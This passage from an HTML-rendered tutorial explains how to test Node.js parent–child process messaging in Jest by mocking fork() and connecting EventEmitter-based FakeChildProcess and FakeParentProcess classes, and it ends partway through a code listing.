&lt;p&gt;If you have a fake on both sides — a fake pretending to be a child process and a fake pretending to be the parent process — you can even connect them together. Through those fakes, the parent code can send messages to the child code. Then, the child process can do the work and send a response back to the parent, all within a single test.&lt;/p&gt;
&lt;p&gt;But to do all that, you can&apos;t just write methods. You have to go a little bit further.&lt;/p&gt;
&lt;h3&gt;EventEmitter: A faker&apos;s best friend&lt;/h3&gt;
&lt;p&gt;Processes send messages through methods, but they receive messages through events. So you also need to fake those out.&lt;/p&gt;
&lt;p&gt;In JavaScript, objects that send events are pretty common. And that means there&apos;s an easy way to build that functionality into your own objects and fakes — &lt;a href=&quot;https://nodejs.org/api/events.html#events_class_eventemitter&quot;&gt;EventEmitter&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;After a JavaScript class extends EventEmitter, it can send events and allow subscribers to those events. It gains methods like &lt;code&gt;on&lt;/code&gt;, &lt;code&gt;removeListener&lt;/code&gt;, and &lt;code&gt;emit&lt;/code&gt;. When your fake object can emit the same events as the real thing, anyone using it won&apos;t know the difference. And because you control the fake object, you can control when those events are sent.&lt;/p&gt;
&lt;p&gt;Here&apos;s what your FakeChildProcess might look like after it implements event handling:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// FakeChildProcess.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; EventEmitter&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;events&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; EventEmitter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.receivedMessages &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.sentMessages &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.sentMessages.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;handle&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.receivedMessages.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ message, handle });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // Call to pretend a message was received from the child, in the&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // parent&apos;s process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  receive&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; FakeChildProcess;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Finally, write the tests&lt;/h2&gt;
&lt;p&gt;Between seams and fake objects, you have all the parts you need to test parent process and child process communication. Let&apos;s think about how you could use these parts to hook everything together.&lt;/p&gt;
&lt;p&gt;The parent process calls &lt;code&gt;child_process.fork()&lt;/code&gt; to start up a child process. You would mock &lt;code&gt;fork()&lt;/code&gt; to return a FakeChildProcess instead:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;beforeEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  jest.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;resetAllMocks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  fork.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;mockImplementation&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    childProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; childProcess;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remember, we changed the child process to do most of its work in a &lt;code&gt;handleMessage&lt;/code&gt; method, which takes a parent process as an argument. For the child to send responses back to the parent, you&apos;ll need a fake parent process. It looks a lot like the fake child from earlier:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// FakeParentProcess.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; EventEmitter&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;events&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeParentProcess&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; EventEmitter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.messages &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  connect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; process;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.messages.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;receive&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  receive&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;socket&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, message, socket);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; FakeParentProcess;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;send&lt;/code&gt; is called on the FakeChildProcess, it will call &lt;code&gt;receive&lt;/code&gt; on the FakeParentProcess, which will trigger its  &lt;code&gt;message&lt;/code&gt; event and vice versa. That&apos;s how these fakes communicate with each other.&lt;/p&gt;
&lt;p&gt;When setting up the fake processes, this fake parent process is passed into &lt;code&gt;handleMessages&lt;/code&gt; in your tests, so all the child events are hooked up correctly:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;parentProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeParentProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;childProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;parentProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(childProcess);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;handleMessages&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(parentProcess);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The FakeChildProcess also needs to connect to a FakeParentProcess and relay messages to it:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// FakeChildProcess.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; EventEmitter&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;events&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; extends&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; EventEmitter&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    super&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.receivedMessages &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.sentMessages &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; null&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.sentMessages.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  connect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;process&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; process;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;handle&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.receivedMessages.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;({ message, handle });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.connectedProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;receive&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(message, handle);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  receive&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;emit&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, message);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
